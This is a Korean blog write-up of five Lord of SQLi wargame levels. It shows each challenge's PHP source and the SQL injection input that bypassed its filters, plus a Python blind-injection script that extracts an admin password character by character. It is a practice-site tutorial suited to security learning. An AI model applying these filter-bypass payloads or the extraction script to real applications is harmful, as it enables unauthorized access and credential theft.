SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/LOS

[LoS] wolfman, darkelf, orge, troll, campire

SlowTurtle_ 2023. 1. 14. 23:23
728x90

1. wolfman

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

 

이전 문제들과 다른 점은 공백을 필터링한다는 점이. 그럼 탭을 인코딩한 %09을 사용하여 id를 admin으로 줬더니

?pw='%09or%09id='admin'%09%23

해결했다.

 

2.darkelf

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

두 번째 preg_match함수를 보면 or 또는 and를 필터링하여 사용된다면 HeHe를 출력받는 것을 알 수 있다. 그렇다면 바로 전 문제에서 사용했었던 쿼리문을 or만 ||로 우회해주면 된다.

?pw='%09||%09id='admin'%09%23

해결했다.

 

3. orge

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

orc문제에서 or과 and를 필터링함을 알 수 있다. 우선 길이를 알아보기위해 pw>5와 pw<10을 한 후 범위를 좁힌 뒤 ?pw=' ||length(pw) = 8 %23를 보냈을 때 Hello admin가 뜨는 것을 보아 pw의 길이는 8임을 알 수 있었다.

 orc에서 사용했던 파이썬 스크립트에서 or -> ||로 and -> %26%26으로 바꿔서 실행했다. 

import requests

length = 8
cookie = {'PHPSESSID':'8gbd72ismpp8q3jkjqni3tab3s'}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
pw = ""

for i in range(1,length + 1):
    for j in string:
        host = f"https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
        query = f"?pw='|| id='admin' %26%26 substr(pw,{i},1)='{j}' %23"
        url = host + query
        r = requests.get(url = url, cookies = cookie)
        if "Hello admin" in r.text:
            pw += j

print("password : " + pw)
?pw=7b751aec

password : 7b751aec를 얻어 위와 같이 보내보니?

해결했다.

 

4. troll

코드를 보자.

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

두 번째 pregmatch를 보면 admin을 필터링하여 admin이 입력되면 HeHe가 출력된다. preg_match함수 마지막에 i가 있다면 대소문자를 구별하지 않는다는 뜻임으로 Admin을 id로 줬더니

?id=Admin

해결됐다.

 

5. vampire

코드를 보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

이번 문제는 preg_match로 대소문자를 구별하지 않고 필터링하지만 바로 다음줄에서 모두 소문자로 변경한다. 또한 다음 줄에서 admin이 입력되면 공백으로 바꿔준다. replace함수는 한 번만 필터링한다는 것을 알고있기에 너무 쉽게 해결할 수 있다. admin 중간에 admin을 한 번 더 넣어줘서 ad(공백)min으로 만들어주면 한 번 필터링 됐기 때문에 더이상 admin을 필터링 하지 않아서 id=admin으로 된다.

?id=adadminmin

해결했다.

728x90

'Webhacking-Write-Up > LOS' 카테고리의 다른 글

[LoS] assassin, succubus  (0) 2023.01.15
[LoS] skeleton, golem, darkknight, bugbear, gaint  (0) 2023.01.15
[LoS] gremlin, cobolt, goblin, orc  (0) 2023.01.14